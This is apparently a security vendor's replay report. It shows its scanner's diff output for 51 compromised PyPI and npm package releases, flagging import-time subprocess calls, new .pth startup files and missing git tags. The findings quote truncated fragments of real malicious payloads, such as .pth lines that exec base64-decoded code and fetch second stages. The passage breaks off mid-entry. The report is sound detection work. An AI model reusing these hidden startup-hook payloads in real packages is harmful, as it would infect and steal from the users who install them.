Every malicious release we have replayed, with Garnet Guard's unedited output: 51 releases of 40 compromised packages (47 on PyPI, 4 on npm), December 2024 to September 2026, each compared with the release the project trusted before it. 51 of the 51 were flagged for a look. None was missed.
The PyPI files are fetched from files.pythonhosted.org and checked against the hashes PyPI published. npm deletes the files of a removed version, so those four replays use the registry facts the public write-ups recorded and read the tags. Nothing is run. The known-bad feed is off, so each result shows only what the release diff found by itself, and git tags are read as they stood on the day of each upload.
51 of 51malicious releases flagged in replayFrom 40 compromised packages on PyPI and npm. Every one flagged, none missed.
366 of 18,181everyday updates flagged for a lookThe 2,000 most downloaded PyPI and npm packages, about 1 in 50. None made a false claim.
Uploaded with a stolen token; a thread started in lightning/__init__.py launches a Bun-based credential stealer at import.
garnet diff lightning 2.6.1 2.6.2
lightning 2.6.1 → 2.6.2: WARNWARN GRN-C003 new-import-time-exec: 2.6.2 adds import-time calls to sensitive APIs in 1 module(s)
- lightning/__init__.py:14 calls subprocess.Popen (in _run_runtime(), reached at import)
WARN GRN-T004 no-matching-tag: 2.6.1 has a tag in github.com/Lightning-AI/lightning, but github.com/Lightning-AI/pytorch-lightning has none for 2.6.2
- 2.6.1 → tag 2.6.1 at 655a3a91828694b9bfc241177f474741e483aeaa <https://github.com/Lightning-AI/lightning/tree/2.6.1>
- 2.6.2: no tag named 2.6.2, v2.6.2, lightning-2.6.2 or lightning-v2.6.2 in github.com/Lightning-AI/pytorch-lightning <https://github.com/Lightning-AI/pytorch-lightning/tags>
verdict: warn
What this replay could not see
GRN-T001 (lost provenance) cannot fire: lightning did not publish attestations before the incident, so there was no provenance to lose. The tags match today's: there is no tag for 2.6.2, and we found no record of one pushed and later removed.
Second upload of the same payload minutes later, with no git tag or workflow run.
garnet diff lightning 2.6.1 2.6.3
lightning 2.6.1 → 2.6.3: WARNWARN GRN-C003 new-import-time-exec: 2.6.3 adds import-time calls to sensitive APIs in 1 module(s)
- lightning/__init__.py:14 calls subprocess.Popen (in _run_runtime(), reached at import)
WARN GRN-T004 no-matching-tag: 2.6.1 has a tag in github.com/Lightning-AI/lightning, but github.com/Lightning-AI/pytorch-lightning has none for 2.6.3
- 2.6.1 → tag 2.6.1 at 655a3a91828694b9bfc241177f474741e483aeaa <https://github.com/Lightning-AI/lightning/tree/2.6.1>
- 2.6.3: no tag named 2.6.3, v2.6.3, lightning-2.6.3 or lightning-v2.6.3 in github.com/Lightning-AI/pytorch-lightning <https://github.com/Lightning-AI/pytorch-lightning/tags>
verdict: warn
What this replay could not see
The same limits as 2.6.2: no earlier attestations for GRN-T001 to compare against, and no record of a 2.6.3 tag on the day or since.
Published by the project's own CI after a GitHub Actions script injection; a new elementary.pth runs a base64 payload at every Python start.
garnet diff elementary-data 0.23.2 0.23.3
elementary-data 0.23.2 → 0.23.3: WARNWARN GRN-C001 new-pth-file: 0.23.3 adds code that runs at every Python startup (.pth)
- new elementary.pth (246,691 bytes, 1 executable line(s)): import os, subprocess, tempfile, base64; x = os.path.join(tempfile.gettempdir(), ".trinny-security-update"); result = "ignore" if os.path.exists(x) else exec(b…
verdict: warn
Tags as of today
garnet diff elementary-data 0.23.2 0.23.3
elementary-data 0.23.2 → 0.23.3: WARNWARN GRN-C001 new-pth-file: 0.23.3 adds code that runs at every Python startup (.pth)
- new elementary.pth (246,691 bytes, 1 executable line(s)): import os, subprocess, tempfile, base64; x = os.path.join(tempfile.gettempdir(), ".trinny-security-update"); result = "ignore" if os.path.exists(x) else exec(b…
WARN GRN-T004 no-matching-tag: github.com/elementary-data/elementary has a tag for 0.23.2 but none for 0.23.3
- 0.23.2 → tag v0.23.2 at c642a369fbe1d1be2ae9eb5e981b8863ece21bed <https://github.com/elementary-data/elementary/tree/v0.23.2>
- 0.23.3: no tag named 0.23.3, v0.23.3, elementary-data-0.23.3 or elementary-data-v0.23.3 in github.com/elementary-data/elementary <https://github.com/elementary-data/elementary/tags>
verdict: warn
What this replay could not see
Because the project's own pipeline published the release, provenance checks alone would have passed it. The tag check stays quiet too: the attacker's workflow run pushed a v0.23.3 tag of its own, on a commit no branch contains (StepSecurity's analysis), so a matching tag existed when the release went out. That tag has since been deleted, so against today's tags GRN-T004 reports it missing. The finding that counts is in the content: the new .pth file.
Uploaded with a PyPI token stolen through a compromised Trivy step in CI; a payload added to litellm/proxy/proxy_server.py runs when the proxy module is imported.
GRN-T001 cannot fire: litellm did not publish attestations before the attack. GRN-T004 cannot fire either: litellm tags its builds v1.82.6-nightly, v1.82.6.rc.1 and so on, never a plain version, so the trusted release had no tag to compare with. Only the wheel is replayed, because no public source gives the source archive's address, so GRN-C002, which reads source archives for new build hooks, could not run.
Second upload 13 minutes later: the same proxy_server.py payload, plus a new litellm_init.pth that runs it at every Python start.
garnet diff litellm 1.82.6 1.82.8
litellm 1.82.6 → 1.82.8: WARNWARN GRN-C001 new-pth-file: 1.82.8 adds code that runs at every Python startup (.pth)
- new litellm_init.pth (34,628 bytes, 1 executable line(s)): import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCmltcG9y…
WARN GRN-C003 new-import-time-exec: 1.82.8 adds import-time calls to sensitive APIs in 1 module(s)
- litellm/proxy/proxy_server.py:139 calls subprocess.run
verdict: warn
What this replay could not see
The same limits as 1.82.7 for GRN-T001 and GRN-T004: no earlier attestations, and no plain version tags to compare with. Both the wheel and the source archive are replayed here.
Uploaded with a stolen PyPI token; code appended to telnyx/_client.py fetches a second stage at import. A typo stopped it from running in this version.
garnet diff telnyx 4.87.0 4.87.1
telnyx 4.87.0 → 4.87.1: WARNWARN GRN-C003 new-import-time-exec: 4.87.1 adds import-time calls to sensitive APIs in 1 module(s)
- telnyx/_client.py:7810 calls subprocess.Popen (in FetchAudio(), reached at import)
WARN GRN-T004 no-matching-tag: github.com/team-telnyx/telnyx-python has a tag for 4.87.0 but none for 4.87.1
- 4.87.0 → tag v4.87.0 at fa704347b541de2884fa34021b805d0bda544ae8 <https://github.com/team-telnyx/telnyx-python/tree/v4.87.0>
- 4.87.1: no tag named 4.87.1, v4.87.1, telnyx-4.87.1 or telnyx-v4.87.1 in github.com/team-telnyx/telnyx-python <https://github.com/team-telnyx/telnyx-python/tags>
verdict: warn
Tags as of today
garnet diff telnyx 4.87.0 4.87.1
telnyx 4.87.0 → 4.87.1: WARNWARN GRN-C003 new-import-time-exec: 4.87.1 adds import-time calls to sensitive APIs in 1 module(s)
- telnyx/_client.py:7810 calls subprocess.Popen (in FetchAudio(), reached at import)
WARN GRN-C007 code-not-in-source: 4.87.1 contains code that is not in github.com/team-telnyx/telnyx-python at tag v4.87.1 (1 file(s))
- 4.87.1 → tag v4.87.1 at 8bbd1654fa63 in github.com/team-telnyx/telnyx-python; 2485 Python file(s) match the source, 6 don't <https://github.com/team-telnyx/telnyx-python/tree/v4.87.1>
- telnyx/_client.py:7782 calls subprocess.run (in setup()); the source differs from src/telnyx/_client.py at v4.87.1 <https://github.com/team-telnyx/telnyx-python/blob/8bbd1654fa6392a210a277b13a1d35dd19c70243/src/telnyx/_client.py>
- telnyx/_client.py:7786 calls urllib.request.Request (in setup()); the source differs from src/telnyx/_client.py at v4.87.1 <https://github.com/team-telnyx/telnyx-python/blob/8bbd1654fa6392a210a277b13a1d35dd19c70243/src/telnyx/_client.py>
- telnyx/_client.py:7787 calls urllib.request.urlopen (in setup()); the source differs from src/telnyx/_client.py at v4.87.1 <https://github.com/team-telnyx/telnyx-python/blob/8bbd1654fa6392a210a277b13a1d35dd19c70243/src/telnyx/_client.py>
- telnyx/_client.py:7801 calls subprocess.Popen (in setup()); the source differs from src/telnyx/_client.py at v4.87.1 <https://github.com/team-telnyx/telnyx-python/blob/8bbd1654fa6392a210a277b13a1d35dd19c70243/src/telnyx/_client.py>
- telnyx/_client.py:7810 calls subprocess.Popen (in FetchAudio()); the source differs from src/telnyx/_client.py at v4.87.1 <https://github.com/team-telnyx/telnyx-python/blob/8bbd1654fa6392a210a277b13a1d35dd19c70243/src/telnyx/_client.py>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: telnyx did not publish attestations before the attack. The tag finding holds for the day only: Telnyx published its own v4.87.1 tag that evening, 16 hours after the upload (SafeDep found none on the day), so against today's tags GRN-T004 stays quiet. A flag is not proof the payload works: a typo stopped this one, and GRN-C003 reports the call at import, not whether it would succeed.
Second upload 16 minutes later with the typo fixed, so the payload runs when telnyx is imported.
garnet diff telnyx 4.87.0 4.87.2
telnyx 4.87.0 → 4.87.2: WARNWARN GRN-C003 new-import-time-exec: 4.87.2 adds import-time calls to sensitive APIs in 1 module(s)
- telnyx/_client.py:7782 calls subprocess.run (in setup(), reached at import)
- telnyx/_client.py:7786 calls urllib.request.Request (in setup(), reached at import)
- telnyx/_client.py:7787 calls urllib.request.urlopen (in setup(), reached at import)
- telnyx/_client.py:7801 calls subprocess.Popen (in setup(), reached at import)
- telnyx/_client.py:7810 calls subprocess.Popen (in FetchAudio(), reached at import)
WARN GRN-T004 no-matching-tag: github.com/team-telnyx/telnyx-python has a tag for 4.87.0 but none for 4.87.2
- 4.87.0 → tag v4.87.0 at fa704347b541de2884fa34021b805d0bda544ae8 <https://github.com/team-telnyx/telnyx-python/tree/v4.87.0>
- 4.87.2: no tag named 4.87.2, v4.87.2, telnyx-4.87.2 or telnyx-v4.87.2 in github.com/team-telnyx/telnyx-python <https://github.com/team-telnyx/telnyx-python/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire, as for 4.87.1. The tags read the same today as on the day: the repository has no tag for 4.87.2 now, and we found no record of one pushed and later removed.
Built and published by the project's own release workflow, through Trusted Publishing, after a GitHub Actions cache-poisoning attack; a crypto-miner downloader was injected into the build. The repository's main branch never had version 8.3.41.
garnet diff ultralytics 8.3.40 8.3.41
ultralytics 8.3.40 → 8.3.41: WARNWARN GRN-E001 fetch-failed: Couldn't evaluate GRN-T001: provenance of 8.3.41 is unknown
- ultralytics-8.3.41-py3-none-any.whl: provenance not available
- ultralytics-8.3.41.tar.gz: provenance not available
WARN GRN-T004 no-matching-tag: github.com/ultralytics/ultralytics has a tag for 8.3.40 but none for 8.3.41
- 8.3.40 → tag v8.3.40 at dbdb451512ad4b3c636e6d61ad7af31e07301ece <https://github.com/ultralytics/ultralytics/tree/v8.3.40>
- 8.3.41: no tag named 8.3.41, v8.3.41, ultralytics-8.3.41 or ultralytics-v8.3.41 in github.com/ultralytics/ultralytics <https://github.com/ultralytics/ultralytics/tags>
verdict: warn
What this replay could not see
The project's own workflow built and published this release through Trusted Publishing, so the upload path looked normal. GRN-E001 says PyPI no longer serves the provenance for the replay to check GRN-T001; on the day the attestation was valid. The repository's main branch never had version 8.3.41, so no tag existed and GRN-T004 fired.
Second poisoned build by the same workflow, from the real 8.3.42 commit, so it was tagged and released on GitHub like any other release.
garnet diff ultralytics 8.3.40 8.3.42
ultralytics 8.3.40 → 8.3.42: WARNWARN GRN-C007 code-not-in-source: 8.3.42 contains code that is not in github.com/ultralytics/ultralytics at tag v8.3.42 (1 file(s))
- 8.3.42 → tag v8.3.42 at 950d9f73fc3e in github.com/ultralytics/ultralytics; 150 Python file(s) match the source, 2 don't <https://github.com/ultralytics/ultralytics/tree/v8.3.42>
- ultralytics/utils/downloads.py:292 calls subprocess.Popen (in safe_run()); the source differs from ultralytics/utils/downloads.py at v8.3.42 <https://github.com/ultralytics/ultralytics/blob/950d9f73fc3e12c87e45f4f792281ee8e3cfc75f/ultralytics/utils/downloads.py>
WARN GRN-E001 fetch-failed: Couldn't evaluate GRN-T001: provenance of 8.3.42 is unknown
- ultralytics-8.3.42-py3-none-any.whl: provenance not available
- ultralytics-8.3.42.tar.gz: provenance not available
verdict: warn
Tags as of today
garnet diff ultralytics 8.3.40 8.3.42
ultralytics 8.3.40 → 8.3.42: WARNWARN GRN-E001 fetch-failed: Couldn't evaluate GRN-T001: provenance of 8.3.42 is unknown
- ultralytics-8.3.42-py3-none-any.whl: provenance not available
- ultralytics-8.3.42.tar.gz: provenance not available
WARN GRN-T004 no-matching-tag: github.com/ultralytics/ultralytics has a tag for 8.3.40 but none for 8.3.42
- 8.3.40 → tag v8.3.40 at dbdb451512ad4b3c636e6d61ad7af31e07301ece <https://github.com/ultralytics/ultralytics/tree/v8.3.40>
- 8.3.42: no tag named 8.3.42, v8.3.42, ultralytics-8.3.42 or ultralytics-v8.3.42 in github.com/ultralytics/ultralytics <https://github.com/ultralytics/ultralytics/tags>
verdict: warn
What this replay could not see
The project's own workflow built and published this release through Trusted Publishing, from the real 8.3.42 commit and with its usual tag, so every trust signal was true. GRN-E001 is a couldn't-check notice: PyPI no longer serves provenance for removed releases, so the replay cannot evaluate GRN-T001; on the day the attestation was valid. GRN-T004 stayed quiet because the workflow tagged v8.3.42 before publishing; that tag has since been deleted, so against today's tags it would report the release for the wrong reason. The injected downloader runs when a model is fetched, not at import, so GRN-C003 stays quiet too. The finding that counts is GRN-C007: the wheel's ultralytics/utils/downloads.py is not the file at the tag, and the extra code calls subprocess.Popen. The rules as first written missed this release; GRN-C007 is the fix it prompted.
Uploaded with a PyPI API token left in the CI environment from before Trusted Publishing, with no attestations and no repository activity.
garnet diff ultralytics 8.3.44 8.3.45
ultralytics 8.3.44 → 8.3.45: WARNWARN GRN-C003 new-import-time-exec: 8.3.45 adds import-time calls to sensitive APIs in 1 module(s)
- ultralytics/__init__.py:13 calls os.system
- ultralytics/__init__.py:14 calls os.system
- ultralytics/__init__.py:16 calls os.system
- ultralytics/__init__.py:17 calls os.system
WARN GRN-T001 lost-provenance: 2 file(s) in 8.3.45 have no attestation; every file of 8.3.44 had one
- ultralytics-8.3.45-py3-none-any.whl: no attestation
- ultralytics-8.3.45.tar.gz: no attestation
- 8.3.44 was attested by github.com/ultralytics/ultralytics .github/workflows/publish.yml
WARN GRN-T004 no-matching-tag: github.com/ultralytics/ultralytics has a tag for 8.3.44 but none for 8.3.45
- 8.3.44 → tag v8.3.44 at c284a9e9744afb867c1acb6518d65cb21b7a1e75 <https://github.com/ultralytics/ultralytics/tree/v8.3.44>
- 8.3.45: no tag named 8.3.45, v8.3.45, ultralytics-8.3.45 or ultralytics-v8.3.45 in github.com/ultralytics/ultralytics <https://github.com/ultralytics/ultralytics/tags>
verdict: warn
What this replay could not see
The first real GRN-T001 in the replay: 8.3.44 was attested by the project's publish workflow and 8.3.45 was not. PyPI no longer serves provenance for removed releases, so the replay records the missing attestations from PyPI's analysis.
ultralytics 8.3.44 → 8.3.46: WARNWARN GRN-C003 new-import-time-exec: 8.3.46 adds import-time calls to sensitive APIs in 1 module(s)
- ultralytics/__init__.py:18 calls os.system
WARN GRN-T001 lost-provenance: 2 file(s) in 8.3.46 have no attestation; every file of 8.3.44 had one
- ultralytics-8.3.46-py3-none-any.whl: no attestation
- ultralytics-8.3.46.tar.gz: no attestation
- 8.3.44 was attested by github.com/ultralytics/ultralytics .github/workflows/publish.yml
WARN GRN-T004 no-matching-tag: github.com/ultralytics/ultralytics has a tag for 8.3.44 but none for 8.3.46
- 8.3.44 → tag v8.3.44 at c284a9e9744afb867c1acb6518d65cb21b7a1e75 <https://github.com/ultralytics/ultralytics/tree/v8.3.44>
- 8.3.46: no tag named 8.3.46, v8.3.46, ultralytics-8.3.46 or ultralytics-v8.3.46 in github.com/ultralytics/ultralytics <https://github.com/ultralytics/ultralytics/tags>
verdict: warn
What this replay could not see
As 8.3.45: no attestations where 8.3.44 had them, recorded from PyPI's analysis.
Uploaded after a maintainer was phished through a fake PyPI login page, with no matching git tag.
garnet diff num2words 0.5.14 0.5.15
num2words 0.5.14 → 0.5.15: WARNWARN GRN-C003 new-import-time-exec: 0.5.15 adds import-time calls to sensitive APIs in 1 module(s)
- num2words/__init__.py:121 calls ctypes.CDLL
WARN GRN-E002 parse-failed: 1 new or changed Python file(s) in 0.5.15 couldn't be parsed
- num2words/_build.py: not valid Python 3 syntax
WARN GRN-T004 no-matching-tag: github.com/savoirfairelinux/num2words has a tag for 0.5.14 but none for 0.5.15
- 0.5.14 → tag v0.5.14 at 6abe2c64714a38e41de23fe20fa319d0ad2fd845 <https://github.com/savoirfairelinux/num2words/tree/v0.5.14>
- 0.5.15: no tag named 0.5.15, v0.5.15, num2words-0.5.15 or num2words-v0.5.15 in github.com/savoirfairelinux/num2words <https://github.com/savoirfairelinux/num2words/tags>
verdict: warn
What this replay could not see
GRN-E002 reports num2words/_build.py, a Windows DLL named as a Python file, as something it could not parse rather than passing it. GRN-T001 cannot fire: no earlier attestations.
num2words 0.5.14 → 0.5.16: WARNWARN GRN-C003 new-import-time-exec: 0.5.16 adds import-time calls to sensitive APIs in 1 module(s)
- num2words/__init__.py:121 calls ctypes.CDLL
WARN GRN-E002 parse-failed: 1 new or changed Python file(s) in 0.5.16 couldn't be parsed
- num2words/_build.py: not valid Python 3 syntax
WARN GRN-T004 no-matching-tag: github.com/savoirfairelinux/num2words has a tag for 0.5.14 but none for 0.5.16
- 0.5.14 → tag v0.5.14 at 6abe2c64714a38e41de23fe20fa319d0ad2fd845 <https://github.com/savoirfairelinux/num2words/tree/v0.5.14>
- 0.5.16: no tag named 0.5.16, v0.5.16, num2words-0.5.16 or num2words-v0.5.16 in github.com/savoirfairelinux/num2words <https://github.com/savoirfairelinux/num2words/tags>
verdict: warn
A version the project never released, published by TeamPCP; a credential stealer in xinference/__init__.py runs at import.
garnet diff xinference 2.5.0 2.6.0
xinference 2.5.0 → 2.6.0: WARNWARN GRN-C003 new-import-time-exec: 2.6.0 adds import-time calls to sensitive APIs in 1 module(s)
- xinference/__init__.py:37 calls subprocess.Popen
WARN GRN-T004 no-matching-tag: github.com/xorbitsai/inference has a tag for 2.5.0 but none for 2.6.0
- 2.5.0 → tag v2.5.0 at c9b597ea6b5335a6116f26ad62279aa51872aa50 <https://github.com/xorbitsai/inference/tree/v2.5.0>
- 2.6.0: no tag named 2.6.0, v2.6.0, xinference-2.6.0 or xinference-v2.6.0 in github.com/xorbitsai/inference <https://github.com/xorbitsai/inference/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The version never existed in the project's repository, so GRN-T004 fired.
Second upload the same evening, with the payload moved into an _install() function that runs it with exec().
garnet diff xinference 2.5.0 2.6.1
xinference 2.5.0 → 2.6.1: WARNWARN GRN-C003 new-import-time-exec: 2.6.1 adds import-time calls to sensitive APIs in 1 module(s)
- xinference/__init__.py:42 calls base64.b64decode → exec (in _install(), reached at import)
- xinference/__init__.py:42 calls exec (in _install(), reached at import)
WARN GRN-T004 no-matching-tag: github.com/xorbitsai/inference has a tag for 2.5.0 but none for 2.6.1
- 2.5.0 → tag v2.5.0 at c9b597ea6b5335a6116f26ad62279aa51872aa50 <https://github.com/xorbitsai/inference/tree/v2.5.0>
- 2.6.1: no tag named 2.6.1, v2.6.1, xinference-2.6.1 or xinference-v2.6.1 in github.com/xorbitsai/inference <https://github.com/xorbitsai/inference/tags>
verdict: warn
What this replay could not see
The payload is base64 passed to exec inside _install(), which runs at import; GRN-C003 follows the call and reports both the decode and the exec. GRN-T001 cannot fire: no earlier attestations.
Third upload seven minutes later, starting the payload as a detached subprocess.
garnet diff xinference 2.5.0 2.6.2
xinference 2.5.0 → 2.6.2: WARNWARN GRN-C003 new-import-time-exec: 2.6.2 adds import-time calls to sensitive APIs in 1 module(s)
- xinference/__init__.py:42 calls subprocess.Popen (in _install(), reached at import)
WARN GRN-T004 no-matching-tag: github.com/xorbitsai/inference has a tag for 2.5.0 but none for 2.6.2
- 2.5.0 → tag v2.5.0 at c9b597ea6b5335a6116f26ad62279aa51872aa50 <https://github.com/xorbitsai/inference/tree/v2.5.0>
- 2.6.2: no tag named 2.6.2, v2.6.2, xinference-2.6.2 or xinference-v2.6.2 in github.com/xorbitsai/inference <https://github.com/xorbitsai/inference/tags>
verdict: warn
A version Mistral never released, published by TeamPCP; code in mistralai/client/__init__.py downloads and starts a second stage at import on Linux.
garnet diff mistralai 2.4.5 2.4.6
mistralai 2.4.5 → 2.4.6: WARNWARN GRN-C003 new-import-time-exec: 2.4.6 adds import-time calls to sensitive APIs in 1 module(s)
- mistralai/client/__init__.py:34 calls subprocess.run (in _run_background_task(), reached at import)
- mistralai/client/__init__.py:37 calls subprocess.Popen (in _run_background_task(), reached at import)
WARN GRN-T004 no-matching-tag: github.com/mistralai/client-python has a tag for 2.4.5 but none for 2.4.6
- 2.4.5 → tag v2.4.5 at 7ebe84b5a9eee0714f81c687c8cf636eaa12476f <https://github.com/mistralai/client-python/tree/v2.4.5>
- 2.4.6: no tag named 2.4.6, v2.4.6, mistralai-2.4.6 or mistralai-v2.4.6 in github.com/mistralai/client-python <https://github.com/mistralai/client-python/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. Mistral never released a 2.4.6, so GRN-T004 fired.
Microsoft's Durable Task SDK: code added to durabletask/__init__.py and durabletask/task.py downloads and runs a second stage at import.
garnet diff durabletask 1.4.0 1.4.1
durabletask 1.4.0 → 1.4.1: WARNWARN GRN-C003 new-import-time-exec: 1.4.1 adds import-time calls to sensitive APIs in 1 module(s)
- durabletask/__init__.py:9 calls urllib.request.urlretrieve
- durabletask/__init__.py:11 calls subprocess.Popen
WARN GRN-T004 no-matching-tag: github.com/microsoft/durabletask-python has a tag for 1.4.0 but none for 1.4.1
- 1.4.0 → tag v1.4.0 at e613e571117debcaa66a8b45ed73a1f19583ab60 <https://github.com/microsoft/durabletask-python/tree/v1.4.0>
- 1.4.1: no tag named 1.4.1, v1.4.1, durabletask-1.4.1 or durabletask-v1.4.1 in github.com/microsoft/durabletask-python <https://github.com/microsoft/durabletask-python/tags>
verdict: warn
durabletask 1.4.0 → 1.4.2: WARNWARN GRN-C003 new-import-time-exec: 1.4.2 adds import-time calls to sensitive APIs in 2 module(s)
- durabletask/__init__.py:9 calls urllib.request.urlretrieve
- durabletask/__init__.py:11 calls subprocess.Popen
- durabletask/task.py:24 calls urllib.request.urlretrieve
- durabletask/task.py:26 calls subprocess.Popen
WARN GRN-T004 no-matching-tag: github.com/microsoft/durabletask-python has a tag for 1.4.0 but none for 1.4.2
- 1.4.0 → tag v1.4.0 at e613e571117debcaa66a8b45ed73a1f19583ab60 <https://github.com/microsoft/durabletask-python/tree/v1.4.0>
- 1.4.2: no tag named 1.4.2, v1.4.2, durabletask-1.4.2 or durabletask-v1.4.2 in github.com/microsoft/durabletask-python <https://github.com/microsoft/durabletask-python/tags>
verdict: warn
An attacker with write access pushed release commits and a v2.0.34 tag, and the project's own release workflow published them; importing the package runs memos/_stage0.py, which starts a bundled binary.
garnet diff memoryos 2.0.33 2.0.34
memoryos 2.0.33 → 2.0.34: WARNWARN GRN-C002 new-build-hook: 2.0.34 adds code that runs when the sdist is built
- build backend poetry.core.masonry.api → in-tree:sckit_poetry_build
WARN GRN-C003 new-import-time-exec: 2.0.34 adds import-time calls to sensitive APIs in 1 module(s)
- new module memos/_stage0.py:22 calls subprocess.Popen (in trigger(), reached at import from memos/api/client.py)
verdict: warn
What this replay could not see
The attacker had write access, pushed a v2.0.34 tag, and let the project's own workflow publish, so the tag and the publish path looked normal. The content carries it: a build backend changed to an in-tree module, and a new module that starts a bundled binary, reached at import from memos/api/client.py.
Hades campaign: a new embiggen-setup.pth downloads Bun and runs a bundled _index.js at every Python start. 0.11.96 shipped only an sdist and 0.11.97 only a wheel.
garnet diff embiggen 0.11.96 0.11.97
embiggen 0.11.96 → 0.11.97: WARNWARN GRN-C001 new-pth-file: 0.11.97 adds code that runs at every Python startup (.pth)
- new embiggen-setup.pth (1,407 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
- compared embiggen-0.11.97-py3-none-any.whl with embiggen-0.11.96.tar.gz: the releases ship different kinds of files
verdict: warn
What this replay could not see
0.11.96 shipped only a source archive and 0.11.97 only a wheel; Garnet compares the two kinds of file and says so on the finding. embiggen doesn't tag releases, so GRN-T004 could not fire. GRN-T001 cannot fire: no earlier attestations.
Hades campaign: the same <name>-setup.pth payload.
garnet diff gpsea 0.9.13 0.9.14
gpsea 0.9.13 → 0.9.14: WARNWARN GRN-C001 new-pth-file: 0.9.14 adds code that runs at every Python startup (.pth)
- new gpsea-setup.pth (1,407 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/P2GX/gpsea has a tag for 0.9.13 but none for 0.9.14
- 0.9.13 → tag v0.9.13 at 086e88e90928a81f24b2b94268323af5b7e9e108 <https://github.com/P2GX/gpsea/tree/v0.9.13>
- 0.9.14: no tag named 0.9.14, v0.9.14, gpsea-0.9.14 or gpsea-v0.9.14 in github.com/P2GX/gpsea <https://github.com/P2GX/gpsea/tags>
verdict: warn
Tags as of today
garnet diff gpsea 0.9.13 0.9.14
gpsea 0.9.13 → 0.9.14: WARNWARN GRN-C001 new-pth-file: 0.9.14 adds code that runs at every Python startup (.pth)
- new gpsea-setup.pth (1,407 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The project tagged its own real 0.9.14 three months later, so against today's tags GRN-T004 would miss this release; the replay reads the tags as of June 8 and reports it.
Hades campaign: the same <name>-setup.pth payload.
garnet diff pyphetools 0.9.119 0.9.120
pyphetools 0.9.119 → 0.9.120: WARNWARN GRN-C001 new-pth-file: 0.9.120 adds code that runs at every Python startup (.pth)
- new pyphetools-setup.pth (1,407 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-E001 fetch-failed: Couldn't fully check 0.9.120: tag lookup: tag lookup for github.com/monarch-initiative/pyphetools returned HTTP 401
- tag lookup: tag lookup for github.com/monarch-initiative/pyphetools returned HTTP 401
- not evaluated: GRN-T004
WARN GRN-E001 fetch-failed [in 0.9.119]: Couldn't fully check 0.9.119: tag lookup: tag lookup for github.com/monarch-initiative/pyphetools returned HTTP 401
- tag lookup: tag lookup for github.com/monarch-initiative/pyphetools returned HTTP 401
- not evaluated: GRN-T004
verdict: warn
What this replay could not see
The repository is no longer public, so the tag lookup fails and GRN-E001 says so instead of passing.
Hades campaign: the same <name>-setup.pth payload.
garnet diff ppkt2synergy 0.1.0 0.1.1
ppkt2synergy 0.1.0 → 0.1.1: WARNWARN GRN-C001 new-pth-file: 0.1.1 adds code that runs at every Python startup (.pth)
- new ppkt2synergy-setup.pth (1,407 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The repository has no tags, so GRN-T004 could not fire.
Hades campaign: the same <name>-setup.pth payload. 0.0.2, 0.0.3 and 0.0.4 were all malicious; the one trusted release, 0.0.1, dates from 2020 and ships an egg, a wheel and an sdist.
garnet diff bramin 0.0.1 0.0.3
bramin 0.0.1 → 0.0.3: WARNWARN GRN-C001 new-pth-file: 0.0.3 adds code that runs at every Python startup (.pth)
- new bramin-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
verdict: warn
What this replay could not see
The repository tags nothing, so GRN-T004 has no trusted tag to compare with. The one trusted release, 0.0.1, is from 2020. GRN-T001 cannot fire: no earlier attestations.
Hades campaign: the same <name>-setup.pth payload.
garnet diff cmd2func 0.2.1 0.2.2
cmd2func 0.2.1 → 0.2.2: WARNWARN GRN-C001 new-pth-file: 0.2.2 adds code that runs at every Python startup (.pth)
- new cmd2func-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/Nanguage/cmd2func has a tag for 0.2.1 but none for 0.2.2
- 0.2.1 → tag 0.2.1 at ba69eab4b3aeccd143e41d4fa4527a553b7373d5 <https://github.com/Nanguage/cmd2func/tree/0.2.1>
- 0.2.2: no tag named 0.2.2, v0.2.2, cmd2func-0.2.2 or cmd2func-v0.2.2 in github.com/Nanguage/cmd2func <https://github.com/Nanguage/cmd2func/tags>
verdict: warn
What this replay could not see
GRN-T001 cannot fire: no earlier attestations. The repository has no tag for this version today, and we found no record of one on the day, so GRN-T004 reports it as well as the .pth file.
Hades campaign: the same <name>-setup.pth payload.
garnet diff coolbox 0.4.0 0.4.1
coolbox 0.4.0 → 0.4.1: WARNWARN GRN-C001 new-pth-file: 0.4.1 adds code that runs at every Python startup (.pth)
- new coolbox-setup.pth (881 bytes, 1 executable line(s)): import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,pla…
WARN GRN-T004 no-matching-tag: github.com/GangCaoLab/CoolBox has a tag for 0.4.0 but none for 0.4.1
- 0.4.0 → tag 0.4.0 at 651b930dbc59e3aa732f7ecc98e0af09e19e2719 <https://github.com/GangCaoLab/CoolBox/tree/0.4.0>
